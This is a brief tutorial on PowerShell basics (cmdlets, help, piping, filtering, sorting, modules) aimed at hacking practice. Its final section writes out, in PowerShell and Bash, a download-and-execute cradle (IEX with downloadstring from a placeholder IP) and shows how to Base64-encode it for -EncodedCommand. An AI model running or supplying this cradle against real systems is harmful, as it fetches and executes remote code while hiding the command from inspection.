Basic explanation about what is Powershell and how we can use it in out hacking days.

What is Powershell?

Powershell is the Windows Scripting Language and shell environment that is built using the .NET Framework.

Most Powershell commands, called cmdlets, are written in .NET. Unlike other scripting languages and shell environments, the output of these cmdlets are objects, making Powershell somewhat object oriented.

Note: The normal format of cmdlet is represented using Verb-Noun. Ex: Get-Command

Common verbs used are the following ones:

• Get
• Start
• Stop
• Read
• Write
• New
• Out

Using Get-Help

Get-Help displays information about a cmdlet. To get help about a particular command, run the following:

Get-Help cmdlet
Get-Help cmdlet -Full
Get-Help cmdlet -Examples

Note: To show some examples execute Get-Help cmdlet -Examples

Using Get-Command

Get-Command gets all the cmdlets installed on the current Computer.

Running Get-Command Verb-* or Get-Command *-Noun filters the search.

Object Manipulation

If we want to actually maniputare the output, we need to figure out a few things:

• Passing output to other cmdlets.
• Using specific object cmdlets to extract information.

To pas the output to another cmdlet like bash scripting is with the Pipeline “|”.

Verb-Noun | Get-Member -MemberType Equals

Creating Objects From Previous cmdlets

One way of manipulating objects is pulling out the properties from the output of a cmdlet and creating a new object. This is done using the Select-Object cmdlet.

Get-ChildItem | Select-Object -Property Mode, Name

Filtering Objects

When retrieving output objects, you may want to select objects that match a very specific value. You can do that using the Where-Object.

Verb-Noun | Where-Object -Property PropertyName -operator Value
Verb-Noun | Where-Object {$_.PropertyName -operator Value}

This are the following operators:

• -like: Contains but not exact.
• -contains: Exact match for the specified value.
• -eq: Equals to.
• -gt: Greater than.

Sort Objects

May you need to sort the output of a cmdlet in order to extract the information more efficiently. You can do this with Sort-Object cmdlet.

Verb-Noun | Sort-Object

Importing modules

It is also posible to import our self modules.

Import-Module <modulepath>.ps1
. ./<modulepath>.ps1

Onced imported we can list all commands that we previously imported.

Get-Command -Module <modulename>

Encoded Command

We can use a Base64 payload to avoid problems with of notation or quotes. We can use parameters -EncodedCommand or -enc to specify that the payload will be encoded.

We need to use Unicode encoding instead of UTF-8 or ASCII at base64 conversion.

• PowerShell:

$str = 'IEX ((new-object net.webclient).downloadstring("http://10.10.10.10/a"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

• Bash:

str='IEX ((new-object net.webclient).downloadstring("http://10.10.10.10/a"))'
echo -en $str | iconv -t UTF-16LE | base64 -w 0